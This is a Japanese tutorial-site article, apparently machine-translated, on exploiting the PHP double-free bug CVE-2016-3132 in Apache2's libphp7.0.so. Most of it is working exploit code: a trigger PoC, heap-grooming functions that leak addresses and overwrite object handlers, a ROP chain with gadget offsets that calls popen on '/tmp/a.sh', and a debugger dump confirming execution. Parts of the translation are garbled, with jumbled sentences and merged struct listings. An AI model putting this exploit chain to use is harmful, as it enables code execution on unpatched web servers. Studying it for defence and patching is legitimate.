ホームページ >バックエンド開発 >PHPチュートリアル >Apache2 で libphp7.0.so を悪用する方法
標準 PHP ライブラリ Double Link List [CVE-2016-3132] に Double Free という海外のブログがありました
この記事では脆弱性の原因が詳しく説明されています
#!php<?php$var_1=new SplStack();$var_1->offsetSet(100,new DateTime('2000-01-01')); //DateTime will be double-freed
SplDoublyLinkedList::offsetSet ( mixed $index 、mixed $newval ) 失敗すると、オブジェクトは 2 回解放されます。詳細は省略しますが、この脆弱性を引き続き悪用したい場合は、ヒープ管理ルーチンの PHP ソース コードを確認する必要があります。
知っておく必要があるのは、問題オブジェクト SplFixedArray のサイズにより、PHP 自体によって維持されるフリーリストに存在できるということだけです。メモリの一部の参照カウントが使い果たされた場合、PHP はフリーリストの次のポインタをこのメモリの部分に指すだけで終了します。二重解放が発生した場合、PHP のフリーリストは次のようになります:
つまり、2 つのメモリ アプリケーションが作成されると、2 つのオブジェクトは 重なり合います
ルーチン を使用できます。 、重複する文字列型、長さの変更、範囲外の読み取りと書き込み。
#!cpptypedef struct _spl_fixedarray_object { /* {{{ */ struct _zend_string { spl_fixedarray *array; zend_refcounted_h gc; zend_function *fptr_offset_get; zend_ulong h; /* hash value */ zend_function *fptr_offset_set; size_t len; zend_function *fptr_offset_has; char val[1]; zend_function *fptr_offset_del; }; zend_function *fptr_count; int current; int flags; zend_class_entry *ce_get_iterator; zend_object std;} spl_fixedarray_object;/* }}} */
もちろん、操作対象の領域がクリーンで連続していることを保証するために大量のメモリを継続的に適用するなど、慎重なメモリ レイアウトは依然として必要です
最終的に理想的な状況は次のようになります。長さを変更した文字列が続きます。 整然と配置された SplFixedArray
は、次のことができます:
#!phpfunction exception_handler($exception) {global $z;$s=str_repeat('C',0x48);$t=new SplFixedArray2(5);$t[0]='Z';unset($z[22]);unset($z[21]);$heap_addr=read_ptr($s,0x58);print "Leak Heap memory location: 0x" . dechex($heap_addr) . "\n"; $heap_addr_of_fake_handler=$heap_addr-0x70-0x70+0x18+0x300;print "Heap address of fake handler 0x" . dechex($heap_addr_of_fake_handler) . "\n";//Set Handlerswrite_ptr($s,$heap_addr_of_fake_handler,0x40);//Set fake handlerwrite_ptr($s,0x40,0x300); //handler.offsetwrite_ptr($s,0x4141414141414141,0x308); //handler.free_objwrite_ptr($s,0xdeadbeef,0x310); //handler.dtor.objstr_repeat('z',5);unset($t); //BOOM!}
このデモは単なるデモンストレーションであり、実際には何の実用的な意味もありません。本番環境でこのホールをうまく悪用することは可能ですか?
ここで、 [email protected]
Apache/2.4.18
php 7.0.4
FORTIFY: 有効
オブジェクトの
関数ポインター リスト アドレスを範囲外で読み取ることもできます。このアドレスは同じ bin ファイル内で比較的固定されており、アドレスのランダム化が行われます。
#!php$push_rax=0x000000000033a9f3+$aslr_offset;// push rax; stc; jmp qword ptr [rax + 0x36];$pop_rsp=0x00000000000d3923+$aslr_offset;//pop rsp; pop r13; ret;$sub_rsp=0x0000000000106abe+$aslr_offset;// sub rsp, -0x80; pop rbx; ret;$pop_rsi=0x00000000000094e8+$aslr_offset;// pop rsi; ret;$pop_rdi=0x00000000000d3b2f+$aslr_offset;// pop rdi; ret;$pop_rbp=0x00000000000d3925+$aslr_offset;// pop rbp; ret;$p_popen=0x00000000000d2580+$aslr_offset;//popen//Set Handlerswrite_ptr($s,$heap_addr_of_fake_handler,0x40);//Set fake handlerwrite_ptr($s,$aslr_offset,0x300);//heap_addr_of_fake_handler and [rax] is here!write_ptr($s,0x4141414141414141,0x300+0x48);write_ptr($s,0x0000000000000072,0x300+0x50);//"r"write_ptr($s,0x732e612f706d742f,0x300+0x58);//"/tmp/a.sh"write_ptr($s,0x0000000000000068,0x300+0x60);write_ptr($s,$push_rax,0x300+0x10);write_ptr($s,$pop_rsp,0x300+0x36);write_ptr($s,$sub_rsp,0x300+0x8);//now,rsp=rax+0x98write_ptr($s,$pop_rsp,0x300+0x98);write_ptr($s,$heap_addr_of_fake_handler-0x100,0x300+0xa0);//now,rsp=rax-0xf0write_ptr($s,$pop_rsi,0x300-0xf8);write_ptr($s,$heap_addr_of_fake_handler+0x50,0x300-0xf0);write_ptr($s,$pop_rdi,0x300-0xe8);write_ptr($s,$heap_addr_of_fake_handler+0x58,0x300-0xe0);write_ptr($s,$pop_rbp,0x300-0xd8);write_ptr($s,$heap_addr_of_fake_handler-0xb8,0x300-0xd0);//now rsp=rax-0xc0,rbp=rax-0xb8write_ptr($s,$p_popen,0x300-0xc8);非常に厄介な ROP に含めるべきすべてが含まれており、これには、便宜上操作されたばかりのメモリ ヒープへのスタック フレームのポイントも含まれます。
#!bash[----------------------------------registers-----------------------------------]RAX: 0x7fc6edc6ebd8 --> 0x7fc6f218a000 --> 0x10102464c457fRBX: 0x0RCX: 0x16RDX: 0xc4f352ef5bf0be4aRSI: 0x7fc6edc6ec28 --> 0x72 ('r')RDI: 0x7fc6edc6ec30 ("/tmp/a.sh")RBP: 0x7fc6edc6eb20 --> 0x0RSP: 0x7fc6edc6eb18 --> 0x0RIP: 0x7fc6f52fa540 (<_IO_new_popen>: push r12)R8 : 0x20 (' ')R9 : 0x0R10: 0x2R11: 0x38 ('8')R12: 0x7fc6f2798c1c --> 0x0R13: 0x7fc6f27ae8c0 --> 0x40 ('@')R14: 0x7fc6edc12030 --> 0x7fc6e7458f70 --> 0x7fc6f2451a00 (push r12)R15: 0x7fc6e7458f70 --> 0x7fc6f2451a00 (push r12)EFLAGS: 0x203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------] 0x7fc6f52fa530 <_IO_new_proc_open+848>: jmp 0x7fc6f52fa4da <_IO_new_proc_open+762> 0x7fc6f52fa532: nop DWORD PTR [rax+0x0] 0x7fc6f52fa536: nop WORD PTR cs:[rax+rax*1+0x0]=> 0x7fc6f52fa540 <_IO_new_popen>: push r12 0x7fc6f52fa542 <_IO_new_popen+2>: push rbp 0x7fc6f52fa543 <_IO_new_popen+3>: mov rbp,rdi 0x7fc6f52fa546 <_IO_new_popen+6>: push rbx 0x7fc6f52fa547 <_IO_new_popen+7>: mov edi,0x100[------------------------------------stack-------------------------------------]0000| 0x7fc6edc6eb18 --> 0x00008| 0x7fc6edc6eb20 --> 0x00016| 0x7fc6edc6eb28 --> 0x00024| 0x7fc6edc6eb30 --> 0xc01a0008000000010032| 0x7fc6edc6eb38 --> 0x1b0040| 0x7fc6edc6eb40 --> 0x56478a526ed0 --> 0x10048| 0x7fc6edc6eb48 --> 0x7fc6f27ae8c0 --> 0x40 ('@')0056| 0x7fc6edc6eb50 --> 0x0[------------------------------------------------------------------------------]Legend: code, data, rodata, valueThread 2.1 "apache2" hit Breakpoint 1, _IO_new_popen (command=0x7fc6edc6ec30 "/tmp/a.sh", mode=0x7fc6edc6ec28 "r") at iopopen.c:273$rsp と $rbp の両方を設定する必要があることを忘れないでください。そうしないと、popen が正常に実行されません。 最後に、説明する点が 2 つあります:
元の poc が提供する read_ptr には問題があり、アドレスを読み取るときに 0 が途中で失われます
提供してくれた phithon と Bi Yuewu Daniel に感謝します。関数の正しいバージョン
#!phpfunction read_ptr(&$mystring,$index=0,$little_endian=1){ $s = ""; for($i = 1; $i <= 8; $i++) { $s .= str_pad(dechex(ord($mystring[$index+(8-$i)])), 2, '0', STR_PAD_LEFT); } return hexdec($s);}さらに、popen 関数は libphp.so の plt 内のアドレスを提供するため、最終的なシェルコード アクションを完了するために使用されます。システムを使用したい場合は、libc にアクセスしてもう 1 つのモジュールのアドレスを計算する必要があり、さらに問題が発生し、不安定になります。
この記事ではすべての保護を回避し、シェルコードを正常に実行していますが、phplib.so のバージョンが多すぎて、多くの場合、関数の相対位置が独自にコンパイルされているため、実際の重要性は依然として限定的です。異なる so ファイルのテーブル それは異なり、この方法で計算された行列は間違っており、当然、構築された ROP も間違っています。
php には多くのバージョンがありますが、glibc のバージョンはほとんどありません。rop には glibc を使用してください。システム関数を見つけるには glibc を使用してください。
長さが変更された上記の配列が glibc のアドレスに範囲外で読み取れる場合を除き、そうでない場合は引き続き libphp.so に依存する必要があります。
上記同様です。